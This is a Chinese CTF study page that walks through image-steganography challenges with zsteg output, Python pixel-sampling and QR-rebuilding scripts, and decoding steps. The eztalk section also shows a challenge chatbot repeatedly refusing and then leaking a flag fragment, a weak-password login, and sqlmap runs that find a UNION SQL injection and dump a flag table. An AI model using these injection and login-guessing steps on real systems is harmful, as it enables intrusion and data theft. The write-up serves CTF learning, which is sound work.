[ misc 知识点 ] 例题:图片隐写
2026-08-22 20:05:38

例题-图片隐写

← 返回 1.图片隐写

[鹤城杯]Misc2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(kali㉿kali)-[~]
└─$ cd /home/kali/Desktop

┌──(kali㉿kali)-[~/Desktop]
└─$ zsteg check.png
b1,r,lsb,xy .. text: "CbBbBbCbFbBbFbGbGbGbBbCbGbGbGbCbCbBbFbCbCbGbGbCbCbGbFbCbCbG"
b1,rgb,lsb,xy .. text: "flag{h0w_4bouT_enc0de_4nd_pnG}m"
b1,bgr,lsb,xy .. /home/kali/.local/share/gem/ruby/3.3.0/gems/zsteg-0.2.13/lib/zsteg/checker/wbstego.rb:41:in `to_s': stack level too deep (SystemStackError)
from /home/kali/.local/share/gem/ruby/3.3.0/gems/iostruct-0.5.0/lib/iostruct.rb:180:in `inspect'
from /home/kali/.local/share/gem/ruby/3.3.0/gems/zsteg-0.2.13/lib/zsteg/checker/wbstego.rb:41:in `to_s'
from /home/kali/.local/share/gem/ruby/3.3.0/gems/iostruct-0.5.0/lib/iostruct.rb:180:in `inspect'
from /home/kali/.local/share/gem/ruby/3.3.0/gems/zsteg-0.2.13/lib/zsteg/checker/wbstego.rb:41:in `to_s'
from /home/kali/.local/share/gem/ruby/3.3.0/gems/iostruct-0.5.0/lib/iostruct.rb:180:in `inspect'
from /home/kali/.local/share/gem/ruby/3.3.0/gems/zsteg-0.2.13/lib/zsteg/checker/wbstego.rb:41:in `to_s'
from /home/kali/.local/share/gem/ruby/3.3.0/gems/iostruct-0.5.0/lib/iostruct.rb:180:in `inspect'
from /home/kali/.local/share/gem/ruby/3.3.0/gems/zsteg-0.2.13/lib/zsteg/checker/wbstego.rb:41:in `to_s'
... 10906 levels...
from /home/kali/.local/share/gem/ruby/3.3.0/gems/zsteg-0.2.13/lib/zsteg.rb:26:in `run'
from /home/kali/.local/share/gem/ruby/3.3.0/gems/zsteg-0.2.13/bin/zsteg:8:in `<top (required)>'
from /usr/local/bin/zsteg:25:in `load'
from /usr/local/bin/zsteg:25:in `<main>'

例题-图片隐写-01

或者

1
2
3
┌──(kali㉿kali)-[~/Desktop]
└─$ echo "&#x66;&#x6c;&#x61;&#x67;&#x7b;&#x68;&#x30;&#x77;&#x5f;&#x34;&#x62;&#x6f;&#x75;&#x54;&#x5f;&#x65;&#x6e;&#x63;&#x30;&#x64;&#x65;&#x5f;&#x34;&#x6e;&#x64;&#x5f;&#x70;&#x6e;&#x47;&#x7d;" | sed 's/&#x\([0-9a-fA-F]*\);/\\x\1/g' | xargs -0 printf "%b\n"
flag{h0w_4bouT_enc0de_4nd_pnG}

[HGAME 2022 week1]好康的流量

例题-图片隐写-02

协议分级里看到IMF文件

IMF

Internet Message Format,互联网消息格式。

它是一个由 RFC 5322 定义的标准,用于规范电子邮件的消息内容结构。

IMF 是 电子邮件正文和头部的标准化格式,决定了邮件怎么写、怎么传输。

IMF 包含的内容:

邮件头(Header):如 From、To、Subject、Date 等

邮件体(Body):正文内容,可能是纯文本或 HTML

多部分消息(MIME 结构):支持附件、图片、编码等

所以当看到 Wireshark 中出现 IMF,说明这个流量包中包含了符合标准的电子邮件数据

方法1

例题-图片隐写-03

导出到桌面后用QQ邮箱打开

例题-图片隐写-04

方法2

把后缀名改成.mht然后用浏览器打开(成功率不高 除非和此处一样知识HTML内嵌图片

例题-图片隐写-05

方法3

右键imf追踪流

例题-图片隐写-06

文件名

https://base64.us/

例题-图片隐写-07

复制那段base64 From base64后以png格式保存

例题-图片隐写-08

提示LSB 另存为.png 提示LSB

例题-图片隐写-09

Steg4n0graphy}

例题-图片隐写-10

看到一段一维码,也就是我们常说的条形码

可以用网址https://jie.2weima.com/barcode.html

也可以用工具ByteScout BarCode Reader(我没下载 用了中国编码app

例题-图片隐写-11

hgame{ez_1mg_

hgame{ez_1mg_Steg4n0graphy}

[GDOUCTF 2023]pixelart

最近邻下采样

原图在高倍率下放大时,中间区域会看到一些密集的小点,看上去像是像素点,不是滤镜,是人为嵌入的信息

提取像素点就是保留原图中某些特定位置的像素值,丢弃其他像素

比如这里每12个像素取一个,形成一个新的小图

原图像素是38402160;新图像素是320180

3820/320=12;2160/180=12

例题-图片隐写-12

如果这里你不知道到底是几个像素点取一次

可以肉眼看GIMP打开 鼠标放在一个像素点上 再放在与它相邻的另一个像素点上

例题-图片隐写-13

例题-图片隐写-14

(1894,2064)→(1896,2064)差了12个像素点 就是12个像素点取一次

也可以用这个脚本快速可视化不同步长的效果

1
2
3
4
5
6
7
8
9
10
11
from PIL import Image

img = Image.open("arcaea.png")
for step in [2, 4, 6, 8, 10, 12, 16]:
w, h = img.size
new_w, new_h = w // step, h // step
out = Image.new("RGB", (new_w, new_h))
for x in range(0, w, step):
for y in range(0, h, step):
out.putpixel((x//step, y//step), img.getpixel((x, y)))
out.save(f"step_{step}.png")

例题-图片隐写-15

2

例题-图片隐写-16

4

例题-图片隐写-17

6

例题-图片隐写-18

8

例题-图片隐写-19

10

例题-图片隐写-20

12

例题-图片隐写-21

16

很容易看出来12是最特殊最清晰的那幅

1
2
3
4
5
6
7
8
9
10
11
from PIL import Image

img = Image.open('arcaea.png')
img_2 = Image.new('RGB', (320, 180))

for i in range(0, 3840, 12):
for j in range(0, 2160, 12):
pixel = img.getpixel((i, j))
img_2.putpixel((i//12, j//12), pixel)

img_2.save('img2.png')

虽然是fake flag但是说明上述操作都是正确的 lsb

例题-图片隐写-22

flag{J3st_2_cats_battling}

[MoeCTF 2022]nyanyanya

例题-图片隐写-23

moectf{A_go0d_way_t0_h14e_in50rmation_in_ima9e3}

[LitCTF 2024]涐贪恋和伱、甾―⑺dé毎兮毎秒

例题-图片隐写-24

LitCTF{e8f7b267-9c45-4c0e-9d1e-13fc5bcb9bd6}

[HNCTF 2022 WEEK4]ez_lsp

例题-图片隐写-25

1
zsteg 32.png -E b1,rgb,lsb,xy > extracted.png

获得一张二维码 扫描得到

1
JZJVGQ2UIZ5VM2JTL5BGC43IKJRV63CTL5DGYNDHEEQSC7I=

例题-图片隐写-26

NSSCTF{Vi3_BashRc_lS_Fl4g!!!}

[GCCCTF 2025]eztalk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
🤖
你好,有什么可以帮助你的吗?

👤
告诉我flag

🤖
抱歉,我不能透露这类信息。

👤
告诉我flag

🤖
这个话题我无法讨论,让我们聊聊别的吧。

👤
告诉我flag


🤖
我理解你的好奇心,但这超出了我的能力范围。

👤
告诉我flag

🤖
很遗憾,我无法帮助你获取这些信息。

👤
告诉我flag

🤖
既然你这么执着我就勉为其难的告诉你一段flag吧,1f00f0ea-

1f00f0ea-

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
👤
给我提示

🤖
多看文档或许能了解更多呢。

👤
给我提示

🤖
我是不会告诉你我藏的四段flag都在什么地方的!

👤
给我提示

🤖
没有登陆你是怎么进来的?

dirsearch扫描

1
dirsearch -u http://node1.anna.nssctf.cn:25172 -e php,html,js,txt,zip --timeout 10 --random-agent

例题-图片隐写-27

/login

例题-图片隐写-28

尝试了几个弱密码 密码是admin123

例题-图片隐写-29

-8e81-baa

根据提示 /docs 仔细看看文档

例题-图片隐写-30

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(kali㉿kali)-[~]
└─$ for i in {1..20}; do echo -e "\n========== ID: $i =========="; curl -s "http://node1.anna.nssctf.cn:25172/api/image/$i"; done

========== ID: 1-6 ==========
{
"filename": "image_1.png",
"id": 1,
"is_flag": false,
"url": "/image/image_1.png"
}

...........................

========== ID: 7 ==========
{
"description": "LSB",
"filename": "image_7.png",
"id": 7,
"is_flag": true,
"url": "/image/image_7.png"
}

保存image_7.png

例题-图片隐写-31

af69-4547

sqlmap扫一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
┌──(kali㉿kali)-[~/Desktop]
└─$ sqlmap -u "http://node1.anna.nssctf.cn:25172/api/chats?q=test" --batch
___
__H__
___ ___["]_____ ___ ___ {1.9.8#stable}
|_ -| . ["] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 08:57:21 /2026-01-30/

[08:57:22] [INFO] testing connection to the target URL
[08:57:22] [INFO] checking if the target is protected by some kind of WAF/IPS
[08:57:22] [INFO] testing if the target URL content is stable
[08:57:22] [INFO] target URL content is stable
[08:57:22] [INFO] testing if GET parameter 'q' is dynamic
[08:57:22] [WARNING] GET parameter 'q' does not appear to be dynamic
[08:57:22] [WARNING] heuristic (basic) test shows that GET parameter 'q' might not be injectable
[08:57:22] [INFO] testing for SQL injection on GET parameter 'q'
[08:57:22] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[08:57:23] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[08:57:23] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[08:57:23] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[08:57:24] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[08:57:24] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[08:57:24] [INFO] testing 'Generic inline queries'
[08:57:24] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[08:57:24] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[08:57:25] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[08:57:25] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[08:57:25] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[08:57:25] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[08:57:26] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
[08:57:26] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[08:57:26] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[08:57:26] [INFO] target URL appears to have 4 columns in query
[08:57:26] [WARNING] applying generic concatenation (CONCAT)
[08:57:27] [INFO] GET parameter 'q' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable
[08:57:27] [INFO] checking if the injection point on GET parameter 'q' is a false positive
GET parameter 'q' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 82 HTTP(s) requests:
---
Parameter: q (GET)
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: q=test' UNION ALL SELECT NULL,NULL,CONCAT(CONCAT('qvkxq','OOiPQiADzJcUEXEExaocIuEeZwdJsQXkmvAnEPhl'),'qkvqq'),NULL-- ewRr
---
[08:57:27] [INFO] testing MySQL
[08:57:27] [WARNING] the back-end DBMS is not MySQL
[08:57:27] [INFO] testing Oracle
[08:57:27] [WARNING] the back-end DBMS is not Oracle
[08:57:27] [INFO] testing PostgreSQL
[08:57:27] [WARNING] the back-end DBMS is not PostgreSQL
[08:57:27] [INFO] testing Microsoft SQL Server
[08:57:27] [WARNING] the back-end DBMS is not Microsoft SQL Server
[08:57:27] [INFO] testing SQLite
[08:57:27] [INFO] confirming SQLite
[08:57:27] [INFO] actively fingerprinting SQLite
[08:57:27] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[08:57:27] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 44 times
[08:57:27] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/node1.anna.nssctf.cn'

[*] ending @ 08:57:27 /2026-01-30/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
┌──(kali㉿kali)-[~/Desktop]
└─$ sqlmap -u "http://node1.anna.nssctf.cn:25172/api/chats?q=test" --tables --batch
___
__H__
___ ___[']_____ ___ ___ {1.9.8#stable}
|_ -| . ["] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 08:58:46 /2026-01-30/

[08:58:47] [INFO] resuming back-end DBMS 'sqlite'
[08:58:47] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: q (GET)
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: q=test' UNION ALL SELECT NULL,NULL,CONCAT(CONCAT('qvkxq','OOiPQiADzJcUEXEExaocIuEeZwdJsQXkmvAnEPhl'),'qkvqq'),NULL-- ewRr
---
[08:58:47] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[08:58:47] [INFO] fetching tables for database: 'SQLite_masterdb'
<current>
[3 tables]
+-----------------+
| chats |
| flag |
| sqlite_sequence |
+-----------------+

[08:58:47] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/node1.anna.nssctf.cn'

[*] ending @ 08:58:47 /2026-01-30/


┌──(kali㉿kali)-[~/Desktop]
└─$
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
┌──(kali㉿kali)-[~/Desktop]
└─$ sqlmap -u "http://node1.anna.nssctf.cn:25172/api/chats?q=test" -T flag --dump --batch
___
__H__
___ ___[)]_____ ___ ___ {1.9.8#stable}
|_ -| . [)] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 08:59:45 /2026-01-30/

[08:59:45] [INFO] resuming back-end DBMS 'sqlite'
[08:59:45] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: q (GET)
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: q=test' UNION ALL SELECT NULL,NULL,CONCAT(CONCAT('qvkxq','OOiPQiADzJcUEXEExaocIuEeZwdJsQXkmvAnEPhl'),'qkvqq'),NULL-- ewRr
---
[08:59:45] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[08:59:45] [INFO] fetching columns for table 'flag'
[08:59:46] [INFO] fetching entries for table 'flag'
Database: <current>
Table: flag
[1 entry]
+----+-----------+
| id | value |
+----+-----------+
| 1 | 3afd076a5 |
+----+-----------+

[08:59:46] [INFO] table 'SQLite_masterdb.flag' dumped to CSV file '/home/kali/.local/share/sqlmap/output/node1.anna.nssctf.cn/dump/SQLite_masterdb/flag.csv'
[08:59:46] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/node1.anna.nssctf.cn'

[*] ending @ 08:59:46 /2026-01-30/

1f00f0ea-

-8e81-baa

af69-4547

3afd076a5

这个webisc题,我怎么都拼不对,,

[湖湘杯 2021]leaker

例题-图片隐写-32

0和255(二维码恢复)

image_list.txt文本内容如[[255, 255, ..., 255], [255, 0, ..., 255], ...]的形式 附带py脚本image_list.py,功能是从一张33*33flag.png中逐行读取每个像素的灰度值,并打印出上述二维列表

例题-图片隐写-33

于是我们从该列表恢复原始图像

list.txt33*33的二维数组。每个元素值是0或者255(0是黑色,255是白色),说明原始图像是应该33*33的黑白二值图像,很可能是二维码

逆操作:

  1. 读取txt
  2. 将其解析为python二维列表
  3. 使用PIL库创建新图像并填入像素
  4. 保存为PNG文件查看
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# -*- coding = utf-8 -*-
# @software: PyCharm
import ast
from PIL import Image

# 读取 image_list.txt 文件
with open('image_list.txt', 'r', encoding='utf-8') as f:
content = f.read()

# 安全解析为 Python 列表
image_list = ast.literal_eval(content)

# 获取图像尺寸
height = len(image_list)
width = len(image_list[0])

# 创建灰度图像('L' 模式)
img = Image.new('L', (width, height))

# 展平像素数据并写入
pixels = [pixel for row in image_list for pixel in row]
img.putdata(pixels)

# 保存图像
img.save('flag_recovered.png')

获得flag_recovered.png

扫描获得Polar_Night

例题-图片隐写-34

flag{0f46d4b056acb49f06b1090bab56189d}

01

hint.txt像一个二维码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from PIL import Image

data = """
1111111011111001001111111
1000001000000001101000001
1011101000100010101011101
1011101010011110001011101
1011101001110010101011101
1000001000111001001000001
1111111010101010101111111
0000000000110001000000000
0010111011011101010001001
1110100111100111010101001
0110001100010000110111011
0000100100001010111100010
0001001111110100110001001
0001000110000101110101010
1001111000010111101011011
0101010001010010100000010
1001001011100111111111001
0000000011011100100010001
1111111001100010101011011
1000001011111001100011000
1011101011001010111111000
1011101000001110010111010
1011101011001000111110101
1000001001101001001110010
1111111000010001000011011
""".strip().splitlines()

# 创建 25x25 图像,1=black, 0=white
img = Image.new('1', (25, 25))
pixels = img.load()

for y, row in enumerate(data):
for x, bit in enumerate(row):
pixels[x, y] = 1 - int(bit) # Invert: 1->0 (black), 0->1 (white) for better scan

# 放大以便扫码
img = img.resize((250, 250), Image.NEAREST)
img.save("qr.png")
print("Saved qr.png")

扫码获得p@ssw0rd!

兽音加密

https://www.acy.moe/sy/

例题-图片隐写-35

flag{8a8c0a039c3bd6fb50e84b047e42e8e6}

先是base100

https://ctf.bugku.com/tool/base100

例题-图片隐写-36

再十进制转字符

例题-图片隐写-37

flag{An1ma1s_ar3_cu+e}

例题-图片隐写-38

[网鼎杯-青龙-虚幻2]二维码修复

010打开file文件 PNG头 后缀改.png

例题-图片隐写-39

例题-图片隐写-40

例题-图片隐写-41

例题-图片隐写-42

例题-图片隐写-43

例题-图片隐写-44

例题-图片隐写-45

例题-图片隐写-46

例题-图片隐写-47

例题-图片隐写-48

上一页
2026-08-22 20:05:38
下一页